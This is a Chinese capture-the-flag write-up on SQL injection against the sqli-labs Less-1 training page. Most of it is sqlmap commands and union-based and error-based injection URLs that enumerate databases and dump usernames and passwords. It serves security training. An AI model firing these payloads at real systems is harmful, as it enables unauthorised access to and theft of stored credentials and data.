2021-10-11 网络安全(交通银行杯)-WEB安全(测试题)-SQL注入
【摘要】 网络安全
一:题目
测试id注入
http://1.117.248.182/Less-1/?id=1
http://1.117.248.182/Less-1/?id=1'
可判断sql代码格式
select * from 表名 where id='?' limit 0.1
第一种:使用sqlmap爆表名和数据库名称
python sqlmap.py -u http://1.117.248.182/Less-1/?id=1 --dbs
可以看到有个数据库为flag{yw9f2un6xj}
就是答案
备注继续补充其他知识
爆版本
sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-1/?id=1 --technique UE --dbms mysql –batch –v 0
爆库
sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-1/?id=1 --technique UE --dbms mysql --dbs --batch -v 0
爆表
sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-1/?id=1 --technique UE --dbms mysql -D security --tables --batch -v 0
爆字段
sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-1/?id=1 --technique UE --dbms mysql -D security -T users --columns --batch -v 0
爆数据
sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-1/?id=1 --technique UE --dbms mysql -D security -T users -C username,password --dump --batch -v 0
第二种:使用语句爆表名和数据库名称(mysql5.0以上适用)
判断表长度
http://1.117.248.182/Less-1/?id=1' order by 3 --+
http://1.117.248.182/Less-1/?id=1' order by 4 --+
发现4错误代表表里只有三列数据,测试这三列数据
http://1.117.248.182/Less-1/?id=-1' union select 1,2,3 --+
发现2,3才是账号密码,继续爆数据库名称和用户名
http://1.117.248.182/Less-1/?id=-1' union select 1,database(), user() --+
继续爆用户和数据库版本和数据库路径
http://1.117.248.182/Less-1/?id=-1' union select 1,@@datadir,@@version --+
继续爆出所有信息
http://1.117.248.182/Less-1/?id=-1' union select 1,2,concat_ws(char(32,58,32),user(),database(),version(),@@datadir,@@version_compile_os) --+
查看所有数据库,发现flag
http://1.117.248.182/Less-1/?id=-1' union select 1,2,group_concat(schema_name) from information_schema.schemata --+
备注继续补充其他知识
查看数据表的字段段
http://1.117.248.182/Less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+
查询表中数据
http://1.117.248.182/Less-1/?id=-1' union select 1,2,group_concat(char(32,58,32),id,username,password) from users --+
查询具体用户名密码
http://1.117.248.182/Less-1/?id=-1' union select 1,username,password from users where id=2 --+
总结
order by -- + 判断字段数目
union select -- + 联合查询收集信息
id=1′ and 1=2 UNION SELECT 1,2,database() -- + 查询当前数据库
id=1’ and 1=2 UNION SELECT 1,2,group_concat(schema_name) from information_schema.schemata -- +查询所有数据库
id=1′ and 1=2 UNION SELECT 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() -- +查询表名
id=1′ and 1=2 UNION SELECT 1,2,group_concat(column_name) from information_schema.columns where table_name=’users’ -- + 查询列名
id=1′ and 1=2 UNION SELECT 1,2,group_concat(id,username,password) from users -- + 查询字段值
第三种:报错注入
爆表
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+
爆列(字段)
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'))) --+
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'))) --+
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' --+
爆值
http://127.0.0.1/sqli-labs-master/Less-1/?id=11' and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users)))--+
http://127.0.0.1/sqli-labs-master/Less-1/?id=11' and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users where username)))--+
【版权声明】本文为华为云社区用户原创内容,转载时必须标注文章的来源(华为云社区)、文章链接、文章作者等基本信息, 否则作者和本社区有权追究责任。如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱:
cloudbbs@huaweicloud.com
- 点赞
- 收藏
- 关注作者
评论(0)